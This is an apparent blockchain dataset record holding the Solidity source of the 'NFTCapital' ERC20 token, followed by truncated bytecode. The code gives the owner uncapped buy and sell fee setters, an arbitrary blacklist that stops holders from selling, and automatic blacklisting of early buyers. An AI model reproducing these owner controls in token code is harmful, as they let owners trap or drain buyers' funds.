[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,692
0x958c3443dfdfc5f943b158d3193cae7f4d995902
/* NFT Capital $NFTC Website : https://nonfungibles.capital Telegram: https://t.me/nftcapitalerc */ // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () public { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 9; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract NFTCapital is ERC20, Ownable { using SafeMath for uint256; address public constant DEAD_ADDRESS = address(0xdead); IUniswapV2Router02 public constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uint256 public buyLiquidityFee = 1; uint256 public sellLiquidityFee = 1; uint256 public buyTxFee = 7; uint256 public sellTxFee = 13; uint256 public tokensForLiquidity; uint256 public tokensForTax; uint256 public _tTotal = 10**9 * 10**9; // 1 billion uint256 public swapAtAmount = _tTotal.mul(10).div(10000); // 0.10% of total supply uint256 public maxTxLimit = _tTotal.mul(75).div(10000); // 0.75% of total supply uint256 public maxWalletLimit = _tTotal.mul(150).div(10000); // 1.50% of total supply address public dev; address public uniswapV2Pair; uint256 private launchBlock; bool private swapping; bool public isLaunched; // exclude from fees mapping (address => bool) public isExcludedFromFees; // exclude from max transaction amount mapping (address => bool) public isExcludedFromTxLimit; // exclude from max wallet limit mapping (address => bool) public isExcludedFromWalletLimit; // if the account is blacklisted from transacting mapping (address => bool) public isBlacklisted; constructor(address _dev) public ERC20("NFTCapital", "NFTC") { uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _approve(address(this), address(uniswapV2Router), type(uint256).max); // exclude from fees, wallet limit and transaction limit excludeFromAllLimits(owner(), true); excludeFromAllLimits(address(this), true); excludeFromWalletLimit(uniswapV2Pair, true); dev = _dev; /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(owner(), _tTotal); } function excludeFromFees(address account, bool value) public onlyOwner() { require(isExcludedFromFees[account] != value, "Fees: Already set to this value"); isExcludedFromFees[account] = value; } function excludeFromTxLimit(address account, bool value) public onlyOwner() { require(isExcludedFromTxLimit[account] != value, "TxLimit: Already set to this value"); isExcludedFromTxLimit[account] = value; } function excludeFromWalletLimit(address account, bool value) public onlyOwner() { require(isExcludedFromWalletLimit[account] != value, "WalletLimit: Already set to this value"); isExcludedFromWalletLimit[account] = value; } function excludeFromAllLimits(address account, bool value) public onlyOwner() { excludeFromFees(account, value); excludeFromTxLimit(account, value); excludeFromWalletLimit(account, value); } function setBuyFee(uint256 liquidityFee, uint256 txFee) external onlyOwner() { buyLiquidityFee = liquidityFee; buyTxFee = txFee; } function setSellFee(uint256 liquidityFee, uint256 txFee) external onlyOwner() { sellLiquidityFee = liquidityFee; sellTxFee = txFee; } function setMaxTxLimit(uint256 newLimit) external onlyOwner() { maxTxLimit = newLimit * (10**9); } function setMaxWalletLimit(uint256 newLimit) external onlyOwner() { maxWalletLimit = newLimit * (10**9); } function setSwapAtAmount(uint256 amountToSwap) external onlyOwner() { swapAtAmount = amountToSwap * (10**9); } function updateDevWallet(address newWallet) external onlyOwner() { dev = newWallet; } function addBlacklist(address account) external onlyOwner() { require(!isBlacklisted[account], "Blacklist: Already blacklisted"); require(account != uniswapV2Pair, "Cannot blacklist pair"); _setBlacklist(account, true); } function removeBlacklist(address account) external onlyOwner() { require(isBlacklisted[account], "Blacklist: Not blacklisted"); _setBlacklist(account, false); } function launchNow() external onlyOwner() { require(!isLaunched, "Contract is already launched"); isLaunched = true; launchBlock = block.number; } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "transfer from the zero address"); require(to != address(0), "transfer to the zero address"); require(amount <= maxTxLimit || isExcludedFromTxLimit[from] || isExcludedFromTxLimit[to], "Tx Amount too large"); require(balanceOf(to).add(amount) <= maxWalletLimit || isExcludedFromWalletLimit[to], "Transfer will exceed wallet limit"); require(isLaunched || isExcludedFromFees[from] || isExcludedFromFees[to], "Waiting to go live"); require(!isBlacklisted[from], "Sender is blacklisted"); if(amount == 0) { super._transfer(from, to, 0); return; } uint256 totalTokensForFee = tokensForLiquidity + tokensForTax; bool canSwap = totalTokensForFee >= swapAtAmount; if( from != uniswapV2Pair && canSwap && !swapping ) { swapping = true; swapBack(totalTokensForFee); swapping = false; } else if( from == uniswapV2Pair && to != uniswapV2Pair && block.number < launchBlock + 4 && !isExcludedFromFees[to] ) { _setBlacklist(to, true); } bool takeFee = !swapping; if(isExcludedFromFees[from] || isExcludedFromFees[to]) { takeFee = false; } if(takeFee) { uint256 fees; // on sell if (to == uniswapV2Pair) { uint256 sellTotalFees = sellLiquidityFee.add(sellTxFee); fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity = tokensForLiquidity.add(fees.mul(sellLiquidityFee).div(sellTotalFees)); tokensForTax = tokensForTax.add(fees.mul(sellTxFee).div(sellTotalFees)); } // on buy & wallet transfers else { uint256 buyTotalFees = buyLiquidityFee.add(buyTxFee); fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity = tokensForLiquidity.add(fees.mul(buyLiquidityFee).div(buyTotalFees)); tokensForTax = tokensForTax.add(fees.mul(buyTxFee).div(buyTotalFees)); } if(fees > 0){ super._transfer(from, address(this), fees); amount = amount.sub(fees); } } super._transfer(from, to, amount); } function swapBack(uint256 totalTokensForFee) private { uint256 toSwap = swapAtAmount; // Halve the amount of liquidity tokens uint256 liquidityTokens = toSwap.mul(tokensForLiquidity).div(totalTokensForFee).div(2); uint256 taxTokens = toSwap.sub(liquidityTokens).sub(liquidityTokens); uint256 amountToSwapForETH = toSwap.sub(liquidityTokens); _swapTokensForETH(amountToSwapForETH); uint256 ethBalance = address(this).balance; uint256 ethForTax = ethBalance.mul(taxTokens).div(amountToSwapForETH); uint256 ethForLiquidity = ethBalance.sub(ethForTax); tokensForLiquidity = tokensForLiquidity.sub(liquidityTokens.mul(2)); tokensForTax = tokensForTax.sub(toSwap.sub(liquidityTokens.mul(2))); payable(address(dev)).transfer(ethForTax); _addLiquidity(liquidityTokens, ethForLiquidity); } function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, DEAD_ADDRESS, block.timestamp ); } function _swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _setBlacklist(address account, bool value) internal { isBlacklisted[account] = value; } receive() external payable {} }
0x6080604052600436106102815760003560e01c80638036d5901161014f578063bf95793d116100c1578063eb91e6511161007a578063eb91e6511461092e578063f11a24d314610961578063f2fde38b14610976578063f6374342146109a9578063fb0ecfa4146109be578063fe575a87146109ee57610288565b8063bf95793d146107fa578063c02466681461082d578063cd49513f14610868578063dd62ed3e146108a3578063e16830a8146108de578063e9b786cb1461091957610288565b806395d89b411161011357806395d89b41146106f85780639cfe42da1461070d578063a457c2d714610740578063a9059cbb14610779578063af465a27146107b2578063b40f9469146107c757610288565b80638036d5901461068f57806386917524146106a45780638da5cb5b146106b9578063904236d1146106ce57806391cca3db146106e357610288565b806349bd5a5e116101f35780636ac9a870116101ac5780636ac9a870146105c35780636d7adcad146105f357806370a0823114610608578063715018a61461063b578063715492aa14610650578063728d41c91461066557610288565b806349bd5a5e146104fd5780634e6fd6c4146105125780634fbee193146105275780636402511e1461055a57806364f5a5bb1461058457806366a88d96146105ae57610288565b80631a8145bb116102455780631a8145bb146103f157806323b872dd1461040657806330280a7114610449578063307aebc914610484578063313ce5671461049957806339509351146104c457610288565b806306fdde031461028d578063095ea7b3146103175780631694505e1461036457806318160ddd146103955780631816467f146103bc57610288565b3661028857005b600080fd5b34801561029957600080fd5b506102a2610a21565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102dc5781810151838201526020016102c4565b50505050905090810190601f1680156103095780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561032357600080fd5b506103506004803603604081101561033a57600080fd5b506001600160a01b038135169060200135610ab7565b604080519115158252519081900360200190f35b34801561037057600080fd5b50610379610ad5565b604080516001600160a01b039092168252519081900360200190f35b3480156103a157600080fd5b506103aa610aed565b60408051918252519081900360200190f35b3480156103c857600080fd5b506103ef600480360360208110156103df57600080fd5b50356001600160a01b0316610af3565b005b3480156103fd57600080fd5b506103aa610b6d565b34801561041257600080fd5b506103506004803603606081101561042957600080fd5b506001600160a01b03813581169160208101359091169060400135610b73565b34801561045557600080fd5b506103ef6004803603604081101561046c57600080fd5b506001600160a01b0381351690602001351515610bfa565b34801561049057600080fd5b50610350610cdb565b3480156104a557600080fd5b506104ae610ce9565b6040805160ff9092168252519081900360200190f35b3480156104d057600080fd5b50610350600480360360408110156104e757600080fd5b506001600160a01b038135169060200135610cee565b34801561050957600080fd5b50610379610d3c565b34801561051e57600080fd5b50610379610d4b565b34801561053357600080fd5b506103506004803603602081101561054a57600080fd5b50356001600160a01b0316610d51565b34801561056657600080fd5b506103ef6004803603602081101561057d57600080fd5b5035610d66565b34801561059057600080fd5b506103ef600480360360208110156105a757600080fd5b5035610dc9565b3480156105ba57600080fd5b506103aa610e2c565b3480156105cf57600080fd5b506103ef600480360360408110156105e657600080fd5b5080359060200135610e32565b3480156105ff57600080fd5b506103aa610e95565b34801561061457600080fd5b506103aa6004803603602081101561062b57600080fd5b50356001600160a01b0316610e9b565b34801561064757600080fd5b506103ef610eb6565b34801561065c57600080fd5b506103ef610f58565b34801561067157600080fd5b506103ef6004803603602081101561068857600080fd5b5035611022565b34801561069b57600080fd5b506103aa611085565b3480156106b057600080fd5b506103aa61108b565b3480156106c557600080fd5b50610379611091565b3480156106da57600080fd5b506103aa6110a0565b3480156106ef57600080fd5b506103796110a6565b34801561070457600080fd5b506102a26110b5565b34801561071957600080fd5b506103ef6004803603602081101561073057600080fd5b50356001600160a01b0316611116565b34801561074c57600080fd5b506103506004803603604081101561076357600080fd5b506001600160a01b038135169060200135611245565b34801561078557600080fd5b506103506004803603604081101561079c57600080fd5b506001600160a01b0381351690602001356112ad565b3480156107be57600080fd5b506103aa6112c1565b3480156107d357600080fd5b50610350600480360360208110156107ea57600080fd5b50356001600160a01b03166112c7565b34801561080657600080fd5b506103506004803603602081101561081d57600080fd5b50356001600160a01b03166112dc565b34801561083957600080fd5b506103ef6004803603604081101561085057600080fd5b506001600160a01b03813516906020013515156112f1565b34801561087457600080fd5b506103ef6004803603604081101561088b57600080fd5b506001600160a01b03813516906020013515156113e8565b3480156108af57600080fd5b506103aa600480360360408110156108c657600080fd5b506001600160a01b0381358116916020013516611462565b3480156108ea57600080fd5b506103ef6004803603604081101561090157600080fd5b506001600160a01b038135169060200135151561148d565b34801561092557600080fd5b506103aa61156e565b34801561093a57600080fd5b506103ef6004803603602081101561095157600080fd5b50356001600160a01b0316611574565b34801561096d57600080fd5b506103aa611644565b34801561098257600080fd5b506103ef6004803603602081101561099957600080fd5b50356001600160a01b031661164a565b3480156109b557600080fd5b506103aa611743565b3480156109ca57600080fd5b506103ef600480360360408110156109e157600080fd5b5080359060200135611749565b3480156109fa57600080fd5b5061035060048036036020811015610a1157600080fd5b50356001600160a01b03166117ac565b60038054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610aad5780601f10610a8257610100808354040283529160200191610aad565b820191906000526020600020905b815481529060010190602001808311610a9057829003601f168201915b5050505050905090565b6000610acb610ac46118bd565b84846118c1565b5060015b92915050565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b60025490565b610afb6118b